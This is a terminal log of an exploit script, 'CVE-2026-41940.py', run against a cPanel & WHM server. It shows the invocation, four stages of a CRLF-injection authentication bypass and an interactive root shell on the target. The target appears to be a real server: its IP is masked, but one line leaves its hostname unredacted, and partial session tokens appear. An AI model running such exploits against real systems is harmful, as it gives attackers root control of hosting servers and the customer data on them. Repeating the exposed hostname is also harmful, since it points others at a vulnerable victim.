┌──(kali㉿kali)-[~]
└─$ sudo python3 CVE-2026-41940.py -u https://xx.xx.xx.xx:2087 --action shell                      
[sudo] password for kali: 


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  CVE-2026-41940 — cPanel & WHM Auth Bypass via CRLF Injection
  4-stage: preauth → CRLF inject → propagate → verify → post-exploit
  Author : Ashraf Zaryouh / @0xBlackash

  Configuration:
   Targets  : 1
   Threads  : 10
   Timeout  : 15s
   Action   : shell

13:41:18 [SCAN] Starting 4-stage exploit chain... https://xx.xx.xx.xx:2087
13:41:19 [INFO] Canonical hostname discovered: server.xxxxxxx.xx
13:41:19 [INFO] Canonical: server.softsms.in
13:41:19 [STEP] Stage 1/4 — Minting preauth session...
13:41:20 [  OK] Stage1: preauth session = :W43DhFApxxxD8Jdw...
13:41:20 [STEP] Stage 2/4 — CRLF injection via Authorization header...
13:41:21 [  OK] Stage2: HTTP 307 → token=/cpsess263xxxx267
13:41:21 [STEP] Stage 3/4 — Firing do_token_denied gadget (raw→cache)...
13:41:22 [  OK] Stage3: HTTP 401 — do_token_denied gadget fired
13:41:22 [STEP] Stage 4/4 — Verifying WHM root access...
13:41:24 [INFO] Stage4: HTTP 200  {"version":"11.86.0.40"}
13:41:24 [PWND] CVE-2026-41940 CONFIRMED — WHM root access!  https://xx.xx.xx.xx:2087
13:41:24 [PWND]   Token    : /cpsess2634xxxx267
13:41:24 [PWND]   Session  : :W43DhFApxxxD8Jdw...
13:41:24 [PWND]   Version  : 11.86.0.40
13:41:24 [PWND]   API URL  : https://xx.xx.xx.xx:2087/cpsess2634xxxx267/json-api/version
13:41:24 [ API] Running post-exploit action: shell

════════════════════════════════════════════════════════════
  WHM Shell — server.xxxxxxx.xx
  Version: CVE-2026-41940 | Auth: CRLF bypass
  Type 'help' for commands, 'exit' to quit
════════════════════════════════════════════════════════════

[email protected] ▶ id
13:41:28 [ API] gethostname → HTTP 500
  uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ exit
Exiting shell.

══════════════════════════════════════════════════════════════════════
  CVE-2026-41940.py — CVE-2026-41940 Scan Complete
  Time: 13.9s  ·  Targets: 1
──────────────────────────────────────────────────────────────────────

  ⚡ 1 VULNERABLE TARGET(S)

  Target   : https://xx.xx.xx.xx:2087
  Version  : 11.86.0.40
  Token    : /cpsess263xxxx267
  API URL  : https://xx.xx.xx.xx:2087/cpsess2634xxxx267/json-api/version
  Session  : :W43DhFApxxxD8Jdw...
  Evidence : {"version":"11.86.0.40"}

══════════════════════════════════════════════════════════════════════